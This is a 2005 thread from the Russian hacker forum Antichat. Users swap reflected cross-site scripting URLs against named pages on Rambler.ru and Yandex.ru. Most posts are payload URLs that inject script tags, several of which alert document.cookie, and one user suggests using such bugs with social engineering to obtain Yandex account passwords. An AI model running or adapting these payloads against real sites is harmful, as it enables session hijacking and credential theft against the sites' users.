Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Xss в Rambler.ru и Yandex.ru (https://forum.antichat.xyz/showthread.php?t=9921)

vectorg 08.10.2005 20:57

Xss в Rambler.ru и Yandex.ru
 
http://finance.rambler.ru/db/chain.html?type=fix&chain_id=<script>alert(documen t.cookie)</script>

=)

Vandal 08.10.2005 21:33

Круто

vectorg 08.10.2005 21:35

ещё как! ;)

PinkPanther 08.10.2005 22:05

Да, там много чего есть. Вот ещё несколько со старых запасов:
Код:

http://horoscopes.rambler.ru/index.html?sign='"><script>alert('1')</script>libra&horo='"><script>alert('2')</script>2&year='"><script>alert('3')</script>
Код:

http://www.rambler.ru/db/news/msg.html?mid='"><script>alert('CoolPinkPanther')</script>

vectorg 08.10.2005 22:23

круто!

вот только счас нашёл на яндексе =)

http://cards.yandex.ru/theme.xhtml?topic="><script>alert(document.cookie) </script>

блин сколько их там!?

PinkPanther 08.10.2005 22:43

Цитата:

Сообщение от VectorG
круто!

вот только счас нашёл на яндексе =)

http://cards.yandex.ru/theme.xhtml?topic="><script>alert(document.cookie) </script>

блин сколько их там!?

Продолжая тему яндекса, скажу что их там много, даже очень!!!Вот опять же из старого:
Код:

http://news.yandex.ru/yandsearch?stype='"><script>alert()</script>

m0nzt3r 08.10.2005 23:25

Цитата:

Сообщение от VectorG
блин сколько их там!?

их бесчисленное количество так как это ненужные баги)

vectorg 08.10.2005 23:51

в некоторых случиях очень даже нужные, например та что я нашёл на народ.ру

с помощью СИ можно будет достать пассы от yandex.ru...

w00d 09.10.2005 12:02

Цитата:

Сообщение от VectorG
в некоторых случиях очень даже нужные, например та что я нашёл на народ.ру

с помощью СИ можно будет достать пассы от yandex.ru...

Поподробней и поконкретней.
Что есть пассы от yandex.ru?
и каким образом их можно достать с помощью народа? :)

vectorg 09.10.2005 14:10

все вопросы в асю... :)


Время: 07:25